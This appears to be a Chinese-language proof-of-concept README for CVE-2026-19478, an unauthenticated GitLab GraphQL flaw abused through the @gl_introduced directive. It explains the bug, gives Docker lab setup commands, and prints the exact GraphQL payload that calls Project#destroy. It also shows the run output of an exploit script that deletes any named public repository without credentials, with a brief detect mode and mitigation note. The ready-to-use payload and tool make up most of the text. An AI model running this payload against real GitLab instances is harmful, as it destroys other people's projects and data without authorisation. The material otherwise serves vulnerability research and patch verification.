★ CVE-2026-19478 GitLab GraphQL @gl_introduced 未认证任意方法调用 PoC ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478 是 GitLab CE/EE 中的一个未认证数据篡改/删除漏洞(CVSS 9.4)。 GitLab 附带一个 GraphQL 客户端指令
@gl_introduced(version: "X.Y.Z"),用于滚动部署的前向兼容。当查询中命名字段版本高于运行中的服务器时,追踪器会在静态校验之前将其剥离,从而使查询通过校验;在执行阶段,未知字段由一个没有解析器(resolver)的回退字段解析。 在 graphql-ruby 中,没有解析器的字段通过调用object.public_send(field_name)来解析——因此客户端可以命名字段等于当前解析对象上的任意零参数方法,服务器便会调用它。 解析一个公共项目并请求一个名为destroy的“未来字段”,即可运行Project#destroy——在无账号、无令牌、无用户交互的情况下删除公共项目(或修改用户数据)。
| 类别 | 版本 |
|---|---|
| 受影响 | GitLab CE/EE 18.2 – 18.11.10、19.0.0 – 19.0.7、19.1.0 – 19.1.5、19.2.0 – 19.2.3 |
| 已修复 | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 或更高版本 |
Resolvers::NilResolver(返回 nil,绝不调用任何方法)构建并运行存在漏洞的 GitLab。它会自动预置一个公共仓库 victim/demo,你可以未认证地将其删除。GitLab 大约需要 3–5 分钟完成重新配置和预置。
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| 前置条件 | 本实验环境中的状态 |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| 可匿名访问的公共项目 | victim/demo(已预置) |
| 可访问的未认证 GraphQL 端点 | /api/graphql 已暴露 |
漏洞利用脚本 gitlab_exploit.py 可在无任何凭据的情况下删除你指定的任意公共仓库。它发送 @gl_introduced 载荷,将 GraphQL 字段名 destroy 转化为 Project#destroy 调用,然后通过 REST API(404)确认删除成功。
# python3 gitlab_exploit.py <目标 ip:端口> --repo <组/名称>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] 目标 ......... http://172.17.0.2:3000
[*] 删除前 (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200 (存在)
[*] 载荷 (未认证) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] 响应 ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] 等待异步删除完成 ...
[+] 删除后 (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] 成功 - 未认证请求已删除 'victim/demo'。CVE-2026-19478 已验证。
选项:
--detect — 安全、非破坏性检查(调用无害的 to_param 方法而非 destroy)--repo group/name — 指定实例上的任意公共项目为目标--insecure — 对 https:// 目标跳过 TLS 验证@gl_introduced 指令/版本过滤路径,或限制对 /api/graphql 的未认证访问